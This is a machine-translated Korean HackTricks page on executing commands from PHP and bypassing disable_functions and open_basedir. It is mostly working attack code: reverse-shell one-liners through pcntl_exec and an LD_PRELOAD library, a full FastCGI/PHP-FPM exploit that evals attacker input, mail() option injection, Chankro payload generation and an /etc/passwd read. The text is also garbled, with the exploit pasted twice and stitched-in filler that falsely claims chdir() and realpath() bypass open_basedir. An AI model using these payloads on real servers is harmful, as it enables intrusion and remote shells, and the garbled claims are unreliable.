PHP - 유용한 함수 및 disable_functions/open_basedir 우회
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스왑을 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
PHP 명령어 및 코드 실행
PHP 명령어 실행
참고: p0wny-shell php 웹쉘은 다음 함수를 우회하고자 할 때 자동으로 확인하고 우회할 수 있습니다.
exec - 명령어 출력의 마지막 줄을 반환합니다.
echo exec("uname -a");
passthru - 명령어의 출력을 브라우저로 직접 전달합니다.
echo passthru("uname -a");
system - 명령어의 출력을 브라우저로 직접 전달하고 마지막 줄을 반환합니다.
echo system("uname -a");
shell_exec - 명령어의 출력을 반환합니다.
echo shell_exec("uname -a");
`` (백틱) - shell_exec()와 동일합니다.
echo `uname -a`
popen - 명령어의 프로세스에 대한 읽기 또는 쓰기 파이프를 엽니다.
echo fread(popen("/bin/ls /", "r"), 4096);
proc_open - popen()과 유사하지만 더 큰 제어 가능성을 가짐
proc_close(proc_open("uname -a",array(),$something));
preg_replace
preg_replace 함수는 정규 표현식을 사용하여 문자열에서 패턴을 찾고 대체하는 데 사용됩니다. 이 함수는 PHP에서 매우 유용하며, 특히 문자열 조작이 필요한 웹 개발에서 자주 사용됩니다.
preg_replace 함수는 다음과 같은 매개변수를 사용합니다:
- pattern: 찾을 패턴을 지정하는 정규 표현식입니다.
- replacement: 패턴이 일치하는 문자열을 대체할 문자열입니다.
- subject: 패턴을 찾을 대상 문자열입니다.
- limit: 선택적 매개변수로, 대체할 최대 횟수를 지정합니다. 기본값은 0으로, 모든 일치하는 패턴을 대체합니다.
예를 들어, 다음은 preg_replace 함수를 사용하여 문자열에서 숫자를 제거하는 예입니다:
<?php
$string = "Hello123World456";
$pattern = '/\d+/';
$replacement = '';
$result = preg_replace($pattern, $replacement, $string);
echo $result; // 출력: "HelloWorld"
?>
위의 예제에서는 정규 표현식 '/\d+/'을 사용하여 문자열에서 숫자를 찾고, 빈 문자열로 대체하여 숫자를 제거합니다. 그 결과로 "Hello123World456" 문자열이 "HelloWorld"로 변환됩니다.
preg_replace 함수는 문자열 조작에 유용한 다양한 기능을 제공합니다. 정규 표현식을 사용하여 패턴을 찾고 대체하는 데 이 함수를 활용할 수 있습니다.
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
pcntl_exec - 프로그램을 실행합니다 (현대적이고 그렇지 않은 PHP에서는 이 함수를 사용하기 위해 pcntl.so
모듈을 로드해야 합니다)
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
mail / mb_send_mail - 이 함수는 메일을 보내는 데 사용되지만, $options
매개변수 내에 임의의 명령을 삽입하는 데 악용될 수도 있습니다. 이는 php mail
함수가 일반적으로 시스템 내부의 sendmail
바이너리를 호출하고 추가 옵션을 사용할 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로 출력을 파일에 작성하는 쉘 스크립트를 생성하고, 이를 mail을 사용하여 실행하고 출력을 출력하는 것이 권장됩니다:
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
dl - 이 함수는 PHP 확장을 동적으로 로드하는 데 사용될 수 있습니다. 이 함수는 항상 존재하지 않으므로 악용하기 전에 사용 가능한지 확인해야 합니다. 이 페이지를 읽어 이 함수를 악용하는 방법을 배우세요.
PHP 코드 실행
eval 외에도 PHP 코드를 실행하는 다른 방법이 있습니다: include/require는 로컬 파일 포함 및 원격 파일 포함 취약점 형태로 원격 코드 실행에 사용될 수 있습니다.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
assert() // identical to eval()
preg_replace('/.*/e',...) // e does an eval() on the match
create_function() // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());
// or serialize/unserialize function
disable_functions & open_basedir
disable_functions는 PHP의 .ini
파일에서 구성할 수 있는 설정으로, 지정된 함수의 사용을 금지합니다. open_basedir은 PHP에게 액세스할 수 있는 폴더를 지정하는 설정입니다.
PHP 설정은 일반적으로 /etc/php7/conf.d 또는 유사한 경로에 구성됩니다.
두 구성은 **phpinfo()
**의 출력에서 확인할 수 있습니다:
open_basedir 우회
open_basedir
는 PHP가 액세스할 수 있는 폴더를 구성합니다. 이러한 폴더 외부의 파일을 쓰거나 읽거나 실행할 수 없을 뿐만 아니라 다른 디렉토리도 목록할 수 없습니다.
그러나 어떻게든 임의의 PHP 코드를 실행할 수 있다면, 다음 코드 조각을 사용하여 제한을 우회해 볼 수 있습니다.
glob:// 우회를 사용한 디렉토리 목록
첫 번째 예제에서는 glob://
프로토콜과 일부 경로 우회를 사용합니다:
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
참고1: 경로에 /e??/*
를 사용하여 /etc/*
및 다른 폴더를 나열할 수도 있습니다.
참고2: 코드 일부가 중복되어 보이지만, 실제로는 필요합니다!
참고3: 이 예제는 폴더를 나열하는 데에만 유용합니다.
FastCGI를 악용한 완전한 open_basedir 우회
PHP-FPM 및 FastCGI에 대해 더 알고 싶다면 이 페이지의 첫 번째 섹션을 읽을 수 있습니다.
**php-fpm
**이 구성되어 있다면, 이를 악용하여 open_basedir을 완전히 우회할 수 있습니다:
먼저 해야 할 일은 php-fpm의 유닉스 소켓이 어디에 있는지 찾는 것입니다. 일반적으로 /var/run
아래에 있으므로, 이전 코드를 사용하여 디렉토리를 나열하고 찾을 수 있습니다.
여기의 코드를 사용합니다.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
```php
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// 실제 악용은 여기서 시작됩니다
if (!isset($_REQUEST['cmd'])) {
die("입력을 확인하세요\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php 페이로드 -- 아무것도 수행하지 않음
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
이 스크립트는 php-fpm의 유닉스 소켓(일반적으로 사용되는 경우 /var/run에 위치)과 통신하여 임의의 코드를 실행합니다. open_basedir
설정은 보내진 PHP_VALUE 속성에 의해 덮어쓰여집니다.
eval
이 cmd 매개변수 내에서 보낸 PHP 코드를 실행하는 데 사용되는 것에 주목하세요.
또한 주석 처리된 324번째 줄에 주목하세요. 이 줄을 주석 해제하면 페이로드가 지정된 URL에 자동으로 연결되고 그 안에 포함된 PHP 코드를 실행합니다.
http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');
에 액세스하여 /etc/passwd
파일의 내용을 얻을 수 있습니다.
{% hint style="warning" %}
open_basedir
구성을 덮어쓴 것과 마찬가지로 disable_functions
를 덮어쓸 수 있다고 생각할 수 있습니다. 그러나 시도해 보세요, 작동하지 않을 것입니다. 아마도 disable_functions
는 .ini
php 구성 파일에서만 구성할 수 있으며 PHP_VALUE를 사용하여 수행한 변경 사항은 이 특정 설정에 대해 효과적이지 않을 것입니다.
{% endhint %}
disable_functions 우회
PHP 코드를 실행하는 기계 내에서 임의의 시스템 명령을 실행하려면 일반적으로 PHP 함수 중 대부분 또는 모든 시스템 명령을 실행할 수 있는 함수가 disable_functions
에서 비활성화되었음을 발견할 수 있습니다.
그래서 이 제한을 우회하는 방법을 살펴보겠습니다(우회할 수 있다면)
자동 우회 발견
https://github.com/teambi0s/dfunc-bypasser 도구를 사용하여 disable_functions
를 우회할 수 있는지 여부를 알려줍니다.
다른 시스템 함수를 사용하여 우회
이 페이지의 처음으로 돌아가서 명령 실행 함수 중 비활성화되지 않고 환경에서 사용 가능한 함수가 있는지 확인하세요. 하나를 찾으면 임의의 시스템 명령을 실행하는 데 사용할 수 있습니다.
LD_PRELOAD 우회
mail()
과 같은 PHP의 일부 함수가 시스템 내에서 이진 파일을 실행하는 것이 잘 알려져 있습니다. 따라서 환경 변수 LD_PRELOAD
를 사용하여 임의의 라이브러리를 로드하여 아무 것이나 실행할 수 있습니다.
LD_PRELOAD를 사용하여 disable_functions 우회에 사용할 수 있는 함수
mail
mb_send_mail
:php-mbstring
모듈이 설치된 경우 효과적입니다.imap_mail
:php-imap
모듈이 있는 경우 작동합니다.libvirt_connect
:php-libvirt-php
모듈이 필요합니다.gnupg_init
:php-gnupg
모듈이 설치된 경우 사용 가능합니다.new imagick()
: 이 클래스는 제한을 우회하기 위해 악용될 수 있습니다. 자세한 공격 기법은 포괄적인 여기의 설명서에서 찾을 수 있습니다.
이러한 함수를 찾기 위해 사용된 퍼징 스크립트는 여기에서 찾을 수 있습니다.
LD_PRELOAD
환경 변수를 악용하기 위해 컴파일할 수 있는 라이브러리는 다음과 같습니다:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
Chankro를 사용한 우회
이 구성 오용을 악용하기 위해 Chankro를 사용할 수 있습니다. 이는 취약한 서버에 업로드하고 실행해야 하는 PHP exploit을 생성하는 도구입니다(웹을 통해 액세스).
Chankro는 희생자의 디스크에 실행하려는 라이브러리와 리버스 쉘을 작성하고, LD_PRELOAD
트릭 + PHP mail()
함수를 사용하여 리버스 쉘을 실행합니다.
Chankro를 사용하려면 mail
과 putenv
가 disable_functions
목록에 나타나지 않아야 합니다.
다음 예제에서는 arch 64용 chankro exploit을 생성하는 방법을 볼 수 있습니다. 이 exploit은 whoami
를 실행하고 결과를 _/tmp/chankro_shell.out_에 저장하며, chankro는 _/tmp_에 라이브러리와 페이로드를 작성하며, 최종 exploit은 bicho.php로 호출됩니다(피해 서버에 업로드해야 하는 파일입니다):
{% tabs %} {% tab title="shell.sh" %}
#!/bin/sh
whoami > /tmp/chankro_shell.out
PHP 유용한 함수: disable_functions 및 open_basedir 우회
이 문서에서는 PHP 웹 애플리케이션을 테스트하거나 해킹하는 동안 disable_functions 및 open_basedir 제약 조건을 우회하는 몇 가지 유용한 함수를 소개합니다.
disable_functions
disable_functions는 PHP 설정에서 사용할 수 없는 함수의 목록을 정의하는 디렉티브입니다. 이 디렉티브는 웹 애플리케이션에서 특정 함수를 사용하지 못하도록 제한하는 데 사용됩니다. 그러나 이러한 제약 조건을 우회하여 원하는 함수를 호출할 수 있습니다.
제약 조건 우회를 위한 유용한 함수
exec()
exec()
함수는 외부 명령을 실행하는 데 사용됩니다. 이 함수는 disable_functions 목록에 포함되어 있을 수 있으며, 이 경우 우회 방법이 필요합니다.
<?php
$cmd = 'whoami';
exec($cmd, $output);
print_r($output);
?>
system()
system()
함수는 외부 명령을 실행하고 결과를 출력하는 데 사용됩니다. disable_functions 목록에 포함되어 있는 경우 우회 방법이 필요합니다.
<?php
$cmd = 'whoami';
system($cmd);
?>
passthru()
passthru()
함수는 외부 명령을 실행하고 결과를 출력하는 데 사용됩니다. disable_functions 목록에 포함되어 있는 경우 우회 방법이 필요합니다.
<?php
$cmd = 'whoami';
passthru($cmd);
?>
open_basedir 우회
open_basedir은 PHP 설정에서 특정 디렉토리로의 파일 액세스를 제한하는 디렉티브입니다. 그러나 이러한 제약 조건을 우회하여 다른 디렉토리에 액세스할 수 있습니다.
open_basedir 우회를 위한 유용한 함수
chdir()
chdir()
함수는 현재 작업 디렉토리를 변경하는 데 사용됩니다. 이 함수를 사용하여 open_basedir 제약 조건을 우회할 수 있습니다.
<?php
chdir('/var/www/html');
echo getcwd();
?>
realpath()
realpath()
함수는 상대 경로를 절대 경로로 변환하는 데 사용됩니다. 이 함수를 사용하여 open_basedir 제약 조건을 우회할 수 있습니다.
<?php
$path = '/var/www/html';
echo realpath($path);
?>
이러한 함수들은 disable_functions 및 open_basedir 제약 조건을 우회하는 데 유용합니다. 그러나 이러한 우회 기술은 합법적인 목적으로 사용되어야 하며, 악의적인 목적으로 사용해서는 안 됩니다.
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
{% endtab %} {% endtabs %}
mail 함수가 비활성화된 함수에 의해 차단되는 것을 발견하면 mb_send_mail 함수를 사용하여 여전히 함수를 사용할 수 있을 수 있습니다.
이 기술과 Chankro에 대한 자세한 정보는 다음에서 확인할 수 있습니다: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
PHP 기능을 사용한 "바이패스"
PHP를 사용하여 파일을 읽고 쓰고 디렉터리를 생성하고 권한을 변경할 수 있습니다.
심지어 데이터베이스를 덤프할 수도 있습니다.
PHP를 사용하여 상자를 열거함으로써 권한 상승/명령 실행 방법을 찾을 수 있을 수도 있습니다(예: 일부 개인 SSH 키를 읽는 것과 같은).
이 작업을 수행하기 매우 쉽게 만드는 웹쉘을 만들었습니다(대부분의 웹쉘도 이 옵션을 제공할 것입니다): https://github.com/carlospolop/phpwebshelllimited
모듈/버전에 따른 바이패스
특정 모듈이 사용되거나 특정 PHP 버전을 악용하는 경우 disable_functions를 우회하는 여러 가지 방법이 있습니다:
- FastCGI/PHP-FPM (FastCGI Process Manager)
- FFI - Foreign Function Interface enabled를 사용한 바이패스
- mem을 통한 바이패스
- mod_cgi
- PHP Perl Extension Safe_mode
- dl 함수
- 이 취약점
- 5.* - PoC에 작은 변경으로 악용 가능
- 7.0 - 현재까지의 모든 버전
- 7.1 - 현재까지의 모든 버전
- 7.2 - 현재까지의 모든 버전
- 7.3 - 현재까지의 모든 버전
- 7.4 - 현재까지의 모든 버전
- 8.0 - 현재까지의 모든 버전
- 7.0에서 8.0까지의 취약점 (Unix 전용)
- PHP 7.0=7.4 (*nix)
- Imagick 3.3.0 PHP >= 5.4
- PHP 5.x Shellsock
- PHP 5.2.4 ionCube
- PHP <= 5.2.9 Windows
- PHP 5.2.4/5.2.5 cURL
- PHP 5.2.3 -Win32std
- PHP 5.2 FOpen exploit
- PHP 4 >= 4.2.-, PHP 5 pcntl_exec
자동 도구
다음 스크립트는 여기에서 설명된 몇 가지 방법을 시도합니다:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
다른 흥미로운 PHP 함수
콜백을 허용하는 함수 목록
이러한 함수는 공격자가 선택한 함수를 호출하는 데 사용될 수 있는 문자열 매개변수를 허용합니다. 함수에 따라 공격자가 매개변수를 전달할 수 있는지 여부가 달라집니다. 그 경우 phpinfo()와 같은 정보 노출 함수를 사용할 수 있습니다.
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
정보 노출
대부분의 이 함수 호출은 싱크(sink)가 아닙니다. 그러나 반환된 데이터 중 하나라도 공격자가 볼 수 있다면 취약점이 될 수 있습니다. 만약 공격자가 phpinfo()를 볼 수 있다면, 이는 분명히 취약점입니다.
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
기타
In addition to the disable_functions
and open_basedir
restrictions, there are other techniques that can be used to bypass these security measures.
1. Command Execution via System Calls
If the system()
function is not disabled, you can use it to execute arbitrary commands. For example:
system('ls -la');
2. Command Execution via Backticks
If the shell_exec()
function is not disabled, you can use backticks to execute commands. For example:
$output = `ls -la`;
3. Command Execution via popen()
If the popen()
function is not disabled, you can use it to execute commands. For example:
$handle = popen('ls -la', 'r');
while (!feof($handle)) {
$output .= fread($handle, 8192);
}
pclose($handle);
4. Command Execution via exec()
If the exec()
function is not disabled, you can use it to execute commands. For example:
exec('ls -la', $output);
print_r($output);
5. Command Execution via passthru()
If the passthru()
function is not disabled, you can use it to execute commands. For example:
passthru('ls -la');
6. Command Execution via proc_open()
If the proc_open()
function is not disabled, you can use it to execute commands. For example:
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open('ls -la', $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$error = stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
7. File Inclusion via include()
If the include()
function is not disabled, you can use it to include arbitrary files. For example:
include('/path/to/file.php');
8. File Inclusion via require()
If the require()
function is not disabled, you can use it to require arbitrary files. For example:
require('/path/to/file.php');
9. File Inclusion via include_once()
If the include_once()
function is not disabled, you can use it to include arbitrary files. For example:
include_once('/path/to/file.php');
10. File Inclusion via require_once()
If the require_once()
function is not disabled, you can use it to require arbitrary files. For example:
require_once('/path/to/file.php');
Remember to always test these techniques in a controlled environment and with proper authorization.
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
putenv
ini_set
mail // has CRLF injection in the 3rd parameter, opens the door for spam.
